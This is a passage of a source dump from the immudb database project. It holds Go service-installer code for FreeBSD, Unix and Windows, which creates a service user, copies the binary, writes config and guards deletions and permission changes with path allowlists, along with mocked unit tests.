    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/user\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\n\t\"github.com/takama/daemon\"\n)\n\n// NewSService ...\nfunc NewSService(options *Option) *sservice {\n\tmps := NewManpageService()\n\treturn &sservice{immuos.NewStandardOS(), viper.New(), *options, mps}\n}\n\ntype sservice struct {\n\tos      immuos.OS\n\tv       ConfigService\n\toptions Option\n\tmps     ManpageService\n}\n\n// NewDaemon ...\nfunc (ss *sservice) NewDaemon(serviceName string, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\tep, _ := ss.GetDefaultExecPath(serviceName)\n\td, err = daemon.New(serviceName, description, ep, dependencies...)\n\td.SetTemplate(ss.options.StartUpConfig)\n\treturn d, err\n}\n\n// IsAdmin check if current user is root\nfunc (ss sservice) IsAdmin() (bool, error) {\n\tif output, err := exec.Command(\"id\", \"-g\").Output(); err == nil {\n\t\tif gid, parseErr := strconv.ParseUint(strings.TrimSpace(string(output)), 10, 32); parseErr == nil {\n\t\t\tif gid == 0 {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\treturn false, ErrRootPrivileges\n\t\t}\n\t}\n\treturn false, ErrUnsupportedSystem\n}\n\n// InstallSetup ...\nfunc (ss sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.GroupCreateIfNotExists(); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.UserCreateIfNotExists(); err != nil {\n\t\treturn err\n\t}\n\n\texecPath, err := ss.CopyExecInOsDefault(serviceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = ss.SetOwnership(execPath); err != nil {\n\t\treturn err\n\t}\n\n\tif err = ss.InstallConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\n\tif err = ss.os.MkdirAll(ss.v.GetString(\"dir\"), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.SetOwnership(ss.v.GetString(\"dir\")); err != nil {\n\t\treturn err\n\t}\n\n\tlogPath := ss.os.Dir(ss.v.GetString(\"logfile\"))\n\tif err = ss.os.MkdirAll(logPath, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.SetOwnership(logPath); err != nil {\n\t\treturn err\n\t}\n\n\tpidPath := ss.os.Dir(ss.v.GetString(\"pidfile\"))\n\tif err = ss.os.MkdirAll(pidPath, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.SetOwnership(pidPath); err != nil {\n\t\treturn err\n\t}\n\n\tif err = ss.InstallManPages(serviceName, cmd); err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}\n\n// UninstallSetup uninstall operations\nfunc (ss sservice) UninstallSetup(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.UninstallExecutables(serviceName); err != nil {\n\t\treturn err\n\t}\n\tif err = ss.osRemoveAll(ss.os.Dir(ss.v.GetString(\"logfile\"))); err != nil {\n\t\treturn err\n\t}\n\terr = ss.UninstallManPages(serviceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// remove dir data folder only if it is empty\n\tcepd := ss.v.GetString(\"dir\")\n\tif _, err := os.Stat(cepd); !os.IsNotExist(err) {\n\t\tf1, err := ss.os.Open(cepd)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f1.Close()\n\t\t_, err = f1.Readdirnames(1)\n\t\tif err == io.EOF {\n\t\t\terr = ss.osRemove(cepd)\n\t\t}\n\t}\n\tcp, err := ss.GetDefaultConfigPath(serviceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tconfig := ss.os.Dir(cp)\n\treturn ss.osRemoveAll(config)\n}\n\n// installConfig install config in /etc folder\nfunc (ss sservice) InstallConfig(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\tcp, _ := ss.GetDefaultConfigPath(serviceName)\n\tvar configDir = ss.os.Dir(cp)\n\terr = ss.os.MkdirAll(configDir, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigPath, _ := ss.GetDefaultConfigPath(serviceName)\n\n\tif err = ss.v.WriteConfigAs(configPath); err != nil {\n\t\treturn err\n\t}\n\n\treturn ss.SetOwnership(configPath)\n}\n\nfunc (ss sservice) GroupCreateIfNotExists() (err error) {\n\tif _, err = ss.os.LookupGroup(ss.options.Group); err != user.UnknownGroupError(ss.options.Group) {\n\t\treturn err\n\t}\n\tif err = ss.os.AddGroup(ss.options.Group); err != nil {\n\t\treturn err\n\t}\n\treturn err\n}\n\nfunc (ss sservice) UserCreateIfNotExists() (err error) {\n\tif _, err = ss.os.Lookup(ss.options.User); err != user.UnknownUserError(ss.options.User) {\n\t\treturn err\n\t}\n\tif err = ss.os.AddUser(ss.options.Group, ss.options.User); err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}\n\nfunc (ss sservice) SetOwnership(path string) (err error) {\n\tvar g *user.Group\n\tvar u *user.User\n\n\tif g, err = ss.os.LookupGroup(ss.options.Group); err != nil {\n\t\treturn err\n\t}\n\tif u, err = ss.os.Lookup(ss.options.User); err != nil {\n\t\treturn err\n\t}\n\n\tuid, _ := strconv.Atoi(u.Uid)\n\tgid, _ := strconv.Atoi(g.Gid)\n\n\treturn ss.os.Walk(path, func(name string, info os.FileInfo, err error) error {\n\t\tif err == nil {\n\t\t\terr = ss.osChown(name, uid, gid)\n\t\t}\n\t\treturn err\n\t})\n}\n\n// EraseData erase all service data\nfunc (ss sservice) EraseData(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\treturn ss.osRemoveAll(ss.os.FromSlash(ss.v.GetString(\"dir\")))\n}\n\n// IsRunning check if status derives from a running process\nfunc (ss sservice) IsRunning(status string) bool {\n\tre := regexp.MustCompile(`is running`)\n\treturn re.Match([]byte(status))\n}\n\nfunc (ss sservice) ReadConfig(serviceName string) (err error) {\n\tss.v.SetConfigType(\"toml\")\n\treturn ss.v.ReadConfig(bytes.NewBuffer(ss.options.Config))\n}\n\n// copyExecInOsDefault copy the executable in default exec folder and returns the path. It accepts an executable absolute path\nfunc (ss sservice) CopyExecInOsDefault(serviceName string) (string, error) {\n\tcurrentExec, err := os.Executable()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfrom, err := ss.os.Open(currentExec)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer from.Close()\n\n\tpath, _ := ss.GetDefaultExecPath(serviceName)\n\n\tto, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer to.Close()\n\n\tif _, err = io.Copy(to, from); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif err = ss.osChmod(path, 0775); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn path, err\n}\n\nfunc (ss sservice) GetDefaultExecPath(serviceName string) (string, error) {\n\treturn ss.os.Join(ss.options.ExecPath, serviceName), nil\n}\n\nfunc (ss sservice) UninstallExecutables(serviceName string) error {\n\tep, _ := ss.GetDefaultExecPath(serviceName)\n\treturn ss.osRemove(ep)\n}\n\nfunc (ss sservice) InstallManPages(serviceName string, cmd *cobra.Command) error {\n\tif cmd != nil {\n\t\treturn ss.mps.InstallManPages(ManPath, serviceName, cmd)\n\t}\n\treturn nil\n}\n\nfunc (ss sservice) UninstallManPages(serviceName string) error {\n\treturn ss.mps.UninstallManPages(ManPath, serviceName)\n}\n\n// GetDefaultConfigPath returns the default config path\nfunc (ss sservice) GetDefaultConfigPath(serviceName string) (string, error) {\n\treturn ss.os.Join(ss.options.ConfigPath, serviceName, serviceName+\".toml\"), nil\n}\n\nfunc (ss sservice) osChown(name string, uid, gid int) error {\n\tif err := permissionGuard(name); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Chown(name, uid, gid)\n}\n\nfunc (ss sservice) osChmod(name string, mode os.FileMode) error {\n\tif err := permissionGuard(name); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Chmod(name, mode)\n}\n\nvar whitelist = []string{\"/etc/immu\", \"/usr/sbin/immu\", \"/var/log/immu\", \"/var/lib/immu\"}\n\nfunc (ss sservice) osRemove(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Remove(folder)\n}\n\nfunc (ss sservice) osRemoveAll(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.RemoveAll(folder)\n}\n\nfunc deletionGuard(path string) error {\n\tvar v string\n\tfound := false\n\tfor _, v = range whitelist {\n\t\tif strings.HasPrefix(path, v) {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !found {\n\t\treturn fmt.Errorf(\"os system file or folder protected item deletion not allowed. Check immu* service configuration: %s\", path)\n\t}\n\treturn nil\n}\n\nvar permissionWhitelist = []string{\"immu\"}\n\nfunc permissionGuard(path string) error {\n\tinfo, err := os.Stat(path)\n\tif os.IsNotExist(err) {\n\t\treturn errors.New(\"file or folder does not exist\")\n\t}\n\tif !info.IsDir() {\n\t\t// changing a specific file permissions is allowed\n\t\treturn nil\n\t}\n\n\tfound := false\n\tfor _, v := range permissionWhitelist {\n\t\t// changing a folder permissions is allowed with restrictions\n\t\tif strings.Contains(path, v) {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !found {\n\t\treturn fmt.Errorf(\" Check immu* service configuration: %s\", path)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/sservice/sservice_unix.go",
    "content": "//go:build linux || darwin\n// +build linux darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/user\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\n\t\"github.com/takama/daemon\"\n)\n\n// NewSService ...\nfunc NewSService(options *Option) *sservice {\n\tmps := NewManpageService()\n\treturn &sservice{immuos.NewStandardOS(), viper.New(), *options, mps}\n}\n\ntype sservice struct {\n\tos      immuos.OS\n\tv       ConfigService\n\toptions Option\n\tmps     ManpageService\n}\n\n// NewDaemon ...\nfunc (ss *sservice) NewDaemon(serviceName string, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\tep, _ := ss.GetDefaultExecPath(serviceName)\n\td, err = daemon.New(serviceName, description, ep, dependencies...)\n\td.SetTemplate(ss.options.StartUpConfig)\n\treturn d, err\n}\n\n// IsAdmin check if current user is root\nfunc (ss sservice) IsAdmin() (bool, error) {\n\tif output, err := exec.Command(\"id\", \"-g\").Output(); err == nil {\n\t\tif gid, parseErr := strconv.ParseUint(strings.TrimSpace(string(output)), 10, 32); parseErr == nil {\n\t\t\tif gid == 0 {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\treturn false, ErrRootPrivileges\n\t\t}\n\t}\n\treturn false, ErrUnsupportedSystem\n}\n\ntype delayedTasks struct {\n\tfns []func() error\n}\n\nfunc (dt *delayedTasks) delay(f func() error) {\n\tdt.fns = append(dt.fns, f)\n}\n\nfunc (dt *delayedTasks) do() error {\n\tfor _, f := range dt.fns {\n\t\terr := f()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// InstallSetup ...\nfunc (ss sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) {\n\ttasks := &delayedTasks{}\n\ttasks.delay(func() error { return ss.ReadConfig(serviceName) })\n\ttasks.delay(ss.GroupCreateIfNotExists)\n\ttasks.delay(ss.UserCreateIfNotExists)\n\n\terr = tasks.do()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\texecPath, err := ss.CopyExecInOsDefault(serviceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttasks = &delayedTasks{}\n\n\ttasks.delay(func() error { return ss.SetOwnership(execPath) })\n\ttasks.delay(func() error { return ss.InstallConfig(serviceName) })\n\ttasks.delay(func() error { return ss.os.MkdirAll(ss.v.GetString(\"dir\"), os.ModePerm) })\n\ttasks.delay(func() error { return ss.SetOwnership(ss.v.GetString(\"dir\")) })\n\n\tlogPath := ss.os.Dir(ss.v.GetString(\"logfile\"))\n\n\ttasks.delay(func() error { return ss.os.MkdirAll(logPath, os.ModePerm) })\n\ttasks.delay(func() error { return ss.SetOwnership(logPath) })\n\n\tpidPath := ss.os.Dir(ss.v.GetString(\"pidfile\"))\n\n\ttasks.delay(func() error { return ss.os.MkdirAll(pidPath, os.ModePerm) })\n\ttasks.delay(func() error { return ss.SetOwnership(pidPath) })\n\n\ttasks.delay(func() error { return ss.InstallManPages(serviceName, cmd) })\n\n\treturn tasks.do()\n}\n\n// UninstallSetup uninstall operations\nfunc (ss sservice) UninstallSetup(serviceName string) (err error) {\n\ttasks := &delayedTasks{}\n\n\ttasks.delay(func() error { return ss.ReadConfig(serviceName) })\n\ttasks.delay(func() error { return ss.UninstallExecutables(serviceName) })\n\n\ttasks.delay(func() error { return ss.osRemoveAll(ss.os.Dir(ss.v.GetString(\"logfile\"))) })\n\n\ttasks.delay(func() error { return ss.UninstallManPages(serviceName) })\n\n\ttasks.delay(func() error {\n\t\tcepd := ss.v.GetString(\"dir\")\n\t\treturn ss.removeFolderIfEmpty(cepd)\n\t})\n\n\ttasks.delay(func() error {\n\t\tcp, err := ss.GetDefaultConfigPath(serviceName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tconfig := ss.os.Dir(cp)\n\n\t\treturn ss.osRemoveAll(config)\n\t})\n\n\treturn tasks.do()\n}\n\n// installConfig install config in /etc folder\nfunc (ss sservice) InstallConfig(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\n\tcp, _ := ss.GetDefaultConfigPath(serviceName)\n\n\tvar configDir = ss.os.Dir(cp)\n\n\terr = ss.os.MkdirAll(configDir, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigPath, _ := ss.GetDefaultConfigPath(serviceName)\n\n\tif err = ss.v.WriteConfigAs(configPath); err != nil {\n\t\treturn err\n\t}\n\n\treturn ss.SetOwnership(configPath)\n}\n\nfunc (ss sservice) GroupCreateIfNotExists() (err error) {\n\tif _, err = ss.os.LookupGroup(ss.options.Group); err != user.UnknownGroupError(ss.options.Group) {\n\t\treturn err\n\t}\n\treturn ss.os.AddGroup(ss.options.Group)\n}\n\nfunc (ss sservice) UserCreateIfNotExists() (err error) {\n\tif _, err = ss.os.Lookup(ss.options.User); err != user.UnknownUserError(ss.options.User) {\n\t\treturn err\n\t}\n\treturn ss.os.AddUser(ss.options.Group, ss.options.User)\n}\n\nfunc (ss sservice) SetOwnership(path string) (err error) {\n\tvar g *user.Group\n\tvar u *user.User\n\n\tif g, err = ss.os.LookupGroup(ss.options.Group); err != nil {\n\t\treturn err\n\t}\n\n\tif u, err = ss.os.Lookup(ss.options.User); err != nil {\n\t\treturn err\n\t}\n\n\tuid, _ := strconv.Atoi(u.Uid)\n\tgid, _ := strconv.Atoi(g.Gid)\n\n\treturn ss.os.Walk(path, func(name string, info os.FileInfo, err error) error {\n\t\tif err == nil {\n\t\t\terr = ss.osChown(name, uid, gid)\n\t\t}\n\t\treturn err\n\t})\n}\n\n// EraseData erase all service data\nfunc (ss sservice) EraseData(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\treturn ss.osRemoveAll(ss.os.FromSlash(ss.v.GetString(\"dir\")))\n}\n\n// IsRunning check if status derives from a running process\nfunc (ss sservice) IsRunning(status string) bool {\n\tre := regexp.MustCompile(`is running`)\n\treturn re.Match([]byte(status))\n}\n\nfunc (ss sservice) ReadConfig(serviceName string) (err error) {\n\tss.v.SetConfigType(\"toml\")\n\treturn ss.v.ReadConfig(bytes.NewBuffer(ss.options.Config))\n}\n\n// copyExecInOsDefault copy the executable in default exec folder and returns the path. It accepts an executable absolute path\nfunc (ss sservice) CopyExecInOsDefault(serviceName string) (string, error) {\n\tcurrentExec, err := os.Executable()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfrom, err := ss.os.Open(currentExec)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer from.Close()\n\n\tpath, _ := ss.GetDefaultExecPath(serviceName)\n\n\tto, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer to.Close()\n\n\tif _, err = io.Copy(to, from); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif err = ss.osChmod(path, 0775); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn path, err\n}\n\nfunc (ss sservice) GetDefaultExecPath(serviceName string) (string, error) {\n\treturn ss.os.Join(ss.options.ExecPath, serviceName), nil\n}\n\nfunc (ss sservice) UninstallExecutables(serviceName string) error {\n\tep, _ := ss.GetDefaultExecPath(serviceName)\n\treturn ss.osRemove(ep)\n}\n\nfunc (ss sservice) InstallManPages(serviceName string, cmd *cobra.Command) error {\n\tif cmd != nil {\n\t\treturn ss.mps.InstallManPages(ManPath, serviceName, cmd)\n\t}\n\treturn nil\n}\n\nfunc (ss sservice) UninstallManPages(serviceName string) error {\n\treturn ss.mps.UninstallManPages(ManPath, serviceName)\n}\n\n// GetDefaultConfigPath returns the default config path\nfunc (ss sservice) GetDefaultConfigPath(serviceName string) (string, error) {\n\treturn ss.os.Join(ss.options.ConfigPath, serviceName, serviceName+\".toml\"), nil\n}\n\nvar whitelist = []string{\"/etc/immu\", \"/usr/sbin/immu\", \"/var/log/immu\", \"/var/lib/immu\"}\n\nfunc (ss sservice) removeFolderIfEmpty(folder string) error {\n\tif _, err := os.Stat(folder); !os.IsNotExist(err) {\n\t\tf1, err := ss.os.Open(folder)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f1.Close()\n\n\t\t_, err = f1.Readdirnames(1)\n\t\tif err == io.EOF {\n\t\t\treturn ss.osRemove(folder)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (ss sservice) osChown(name string, uid, gid int) error {\n\tif err := permissionGuard(name); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Chown(name, uid, gid)\n}\n\nfunc (ss sservice) osChmod(name string, mode os.FileMode) error {\n\tif err := permissionGuard(name); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Chmod(name, mode)\n}\n\nfunc (ss sservice) osRemove(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Remove(folder)\n}\n\nfunc (ss sservice) osRemoveAll(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.RemoveAll(folder)\n}\n\nfunc deletionGuard(path string) error {\n\tvar v string\n\tfound := false\n\n\tfor _, v = range whitelist {\n\t\tif strings.HasPrefix(path, v) {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !found {\n\t\treturn fmt.Errorf(\"os system file or folder protected item deletion not allowed. Check immu* service configuration: %s\", path)\n\t}\n\n\treturn nil\n}\n\nvar permissionWhitelist = []string{\"immu\"}\n\nfunc permissionGuard(path string) error {\n\tinfo, err := os.Stat(path)\n\tif os.IsNotExist(err) {\n\t\treturn errors.New(\"file or folder does not exist\")\n\t}\n\tif !info.IsDir() {\n\t\t// changing a specific file permissions is allowed\n\t\treturn nil\n\t}\n\n\tfound := false\n\tfor _, v := range permissionWhitelist {\n\t\t// changing a folder permissions is allowed with restrictions\n\t\tif strings.Contains(path, v) {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !found {\n\t\treturn fmt.Errorf(\"service installer tries to modify permissions on a not allowed item. Check immu* service configuration: %s\", path)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/sservice/sservice_unix_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immudb/command/immudbcmdtest\"\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/servicetest\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\tdaem \"github.com/takama/daemon\"\n)\n\nvar osMock *immuos.StandardOS\n\nfunc init() {\n\tosMock = immuos.NewStandardOS()\n\tosMock.ChownF = func(name string, uid, gid int) error {\n\t\treturn nil\n\t}\n\tosMock.MkdirAllF = func(path string, perm os.FileMode) error {\n\t\treturn nil\n\t}\n\tosMock.RemoveF = func(name string) error {\n\t\treturn nil\n\t}\n\tosMock.RemoveAllF = func(path string) error {\n\t\treturn nil\n\t}\n\tosMock.IsNotExistF = func(err error) bool {\n\t\treturn false\n\t}\n\tosMock.OpenF = func(name string) (*os.File, error) {\n\t\treturn ioutil.TempFile(\"\", \"temp\")\n\t}\n\tosMock.OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) {\n\t\treturn ioutil.TempFile(\"\", \"temp\")\n\t}\n\tosMock.ChmodF = func(name string, mode os.FileMode) error {\n\t\treturn nil\n\t}\n\tosMock.WalkF = func(root string, walkFn filepath.WalkFunc) error {\n\t\treturn nil\n\t}\n\tosMock.AddGroupF = func(name string) error {\n\t\treturn nil\n\t}\n\tosMock.AddUserF = func(usr string, group string) error {\n\t\treturn nil\n\t}\n\tosMock.LookupGroupF = func(name string) (*user.Group, error) {\n\t\treturn &user.Group{}, nil\n\t}\n\tosMock.LookupF = func(username string) (*user.User, error) {\n\t\treturn &user.User{}, nil\n\t}\n}\n\nfunc TestSservice_NewService(t *testing.T) {\n\top := &Option{}\n\tss := NewSService(op)\n\tassert.IsType(t, &sservice{}, ss)\n}\n\nfunc TestSservice_NewDaemon(t *testing.T) {\n\top := Option{}\n\tmps := manpageService{}\n\tss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps}\n\td, err := ss.NewDaemon(\"test\", \"\", \"\")\n\tassert.NoError(t, err)\n\tdc, _ := daem.New(\"test\", \"\", \"\")\n\tassert.IsType(t, d, dc)\n}\n\nfunc TestSservice_IsAdmin(t *testing.T) {\n\top := Option{}\n\tmps := manpageService{}\n\tss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps}\n\n\t_, err := ss.IsAdmin()\n\tassert.Errorf(t, err, \"you must have root user privileges. Possibly using 'sudo' command should help\")\n}\n\nfunc TestSservice_immudb(t *testing.T) {\n\tdir := t.TempDir()\n\n\tt.Run(\"install\", func(t *testing.T) {\n\t\top := Option{}\n\t\tmps := immudbcmdtest.ManpageServiceMock{}\n\t\tss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps}\n\n\t\terr := ss.InstallSetup(dir, &cobra.Command{})\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"uninstall\", func(t *testing.T) {\n\t\top := Option{}\n\t\t// provide\n\t\top.ExecPath = \"/usr/sbin/immudbnotexistentexec\"\n\t\top.ConfigPath = \"/etc/immunotexistent\"\n\t\tc := viper.New()\n\t\tc.Set(\"dir\", \"/var/lib/immuconfignotexistent\")\n\t\tc.Set(\"logfile\", \"/var/log/immunotexist/immulognotexistent\")\n\n\t\tmps := immudbcmdtest.ManpageServiceMock{}\n\t\tss := sservice{osMock, c, op, mps}\n\t\terr := ss.UninstallSetup(dir)\n\t\tassert.NoError(t, err)\n\t})\n}\n\nfunc TestSservice_getDefaultExecPath(t *testing.T) {\n\top := Option{}\n\tmps := manpageService{}\n\tss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps}\n\tpath, err := ss.GetDefaultExecPath(\"immudb\")\n\tassert.NotNil(t, path)\n\tassert.NoError(t, err)\n}\n\nfunc TestSservice_CopyExecInOsDefault(t *testing.T) {\n\top := Option{}\n\top.ExecPath = t.TempDir()\n\terr := os.Mkdir(filepath.Join(op.ExecPath, \"immutest\"), 0777)\n\trequire.NoError(t, err)\n\n\tmps := manpageService{}\n\tss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps}\n\t_, err = ss.CopyExecInOsDefault(\"immutest\")\n\tassert.NoError(t, err)\n}\n\nfunc TestSservice_EraseData_immudb(t *testing.T) {\n\top := Option{}\n\n\tmps := manpageService{}\n\tc := viper.New()\n\tc.Set(\"dir\", \"/var/lib/immuconfignotexistent\")\n\n\tss := sservice{osMock, c, op, mps}\n\terr := ss.EraseData(\"immudb\")\n\tassert.NoError(t, err)\n}\n"
  },
  {
    "path": "cmd/sservice/sservice_windows.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\n\t\"github.com/takama/daemon\"\n\t\"golang.org/x/sys/windows\"\n)\n\ntype sservice struct {\n\tos      immuos.OS\n\tv       ConfigService\n\toptions Option\n}\n\n// NewSService ...\nfunc NewSService(options *Option) *sservice {\n\treturn &sservice{immuos.NewStandardOS(), viper.New(), *options}\n}\n\nfunc (ss *sservice) NewDaemon(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\tvar ep string\n\tif ep, err = ss.GetDefaultExecPath(serviceName); err != nil {\n\t\treturn nil, err\n\t}\n\td, err = daemon.New(serviceName, description, ep, dependencies...)\n\treturn d, err\n}\n\nfunc (ss *sservice) IsAdmin() (bool, error) {\n\tif runtime.GOOS == \"windows\" {\n\t\tvar sid *windows.SID\n\n\t\t// Although this looks scary, it is directly copied from the\n\t\t// official windows documentation. The Go API for this is a\n\t\t// direct wrap around the official C++ API.\n\t\t// See https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-checktokenmembership\n\t\terr := windows.AllocateAndInitializeSid(\n\t\t\t&windows.SECURITY_NT_AUTHORITY,\n\t\t\t2,\n\t\t\twindows.SECURITY_BUILTIN_DOMAIN_RID,\n\t\t\twindows.DOMAIN_ALIAS_RID_ADMINS,\n\t\t\t0, 0, 0, 0, 0, 0,\n\t\t\t&sid)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\t// This appears to cast a null pointer so I'm not sure why this\n\t\t// works, but this guy says it does and it Works for Me™:\n\t\t// https://github.com/golang/go/issues/28804#issuecomment-438838144\n\t\ttoken := windows.Token(0)\n\n\t\t_, err = token.IsMember(sid)\n\t\t// Also note that an admin is _not_ necessarily considered\n\t\t// elevated.\n\t\t// For elevation see https://github.com/mozey/run-as-admin\n\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\treturn true, nil\n\t}\n\n\treturn false, ErrUnsupportedSystem\n}\n\nfunc (ss *sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\t_, err = ss.CopyExecInOsDefault(serviceName)\n\tif err != nil 